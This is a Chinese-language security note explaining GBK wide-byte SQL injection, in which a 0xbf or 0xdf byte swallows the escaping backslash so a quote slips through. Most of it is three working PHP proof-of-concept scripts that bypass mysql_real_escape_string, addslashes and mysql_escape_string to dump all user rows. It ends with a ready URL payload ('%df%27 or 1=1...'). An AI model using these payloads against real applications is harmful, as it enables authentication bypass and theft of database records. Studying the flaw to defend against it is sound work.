Rule

陈年老酒:

在 GBK编码中, 0xbf27 不是一个宽字符, 但是 0xbf5c 是宽字符. 拆开看, 0xbf27 是 0xbf () 和 0x27 (')的组合, 同时 0xbf5c 是 0xbf () 和 0x5c (\)的组合.所以我们要让系统在过滤单引号时候，插入一个 (\)，变成0xbf5c27这就是一个宽字符0xbf5c加上一个 0x27 (')。

这样就产生了注入。

这种做法，其实用的最普遍的就是xss时候，长期会使用到。让系统过滤script同时过滤之后又产生script。

来几个exp，mysql版本5.5.15，php版本5.3.5：

<?php

$c = mysql_connect("localhost", "root", "cr0_3");

mysql_select_db("test", $c);

// change our character set

mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table

mysql_query("CREATE TABLE users (

    username VARCHAR(32) PRIMARY KEY,

    password VARCHAR(32)

) CHARACTER SET 'GBK'", $c);

mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code

$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #/*'; 

$_POST['password'] = 'anything'; 

// Proper escaping, we should be safe, right?

$user = mysql_real_escape_string($_POST['username'], $c);

$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";

echo $sql;

$res = mysql_query($sql, $c);

//print_r($res);

echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

mysql_close($c);

?>

输出：SELECT * FROM  users WHERE  username = '縗' OR username = username #/*' AND password = 'anything'2

<?php

$mysql = array();

$db = mysqli_init();

$db->real_connect('localhost', 'root', 'cr0_3', 'test');

$db->query("SET NAMES 'gbk'");

/* SQL Injection Example */

$_POST['username'] = chr(0xbf) . chr(0x27) .' OR username = username #';

$_POST['password'] = 'guess';

$mysql['username'] = addslashes($_POST['username']);

$mysql['password'] = addslashes($_POST['password']);

$sql = "SELECT *

        FROM   users

        WHERE  username = '{$mysql['username']}

        AND    password = 'test'";

$result = $db->query($sql);

echo $sql;

if ($result->num_rows) {

echo 'Success';

    /* Success */

} else {

    /* Failure */

echo 'Failure';

}

?>

输出：SELECT *        FROM   users        WHERE  username = '縗' OR username = username #        AND    password = 'test'Success

<?php

$conn=mysql_connect("localhost","root","cr0_3");

mysql_query("SET NAMES 'GBK'");

mysql_select_db("test",$conn);

$_GET['user'] = chr(0xdf) .chr(0x27).' OR username = username #';

//$_GET['pass'] = 'guess';

$user=mysql_escape_string($_GET['user']);

$pass=mysql_escape_string($_GET['pass']);

$sql="select * from users where username='$user' and password='$pass'";

$result=mysql_query($sql,$conn);

echo $sql;

echo mysql_num_rows($result);

$rows =  array();

while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) {

$rows[]=$row;

}

print_r($rows);

?>

输入：https://localhost/exp3.php?user=%df%27%20or%201=1%20limit%201,1%23&pass=

输出：select * from users where username='運' OR username = username #' and password=''2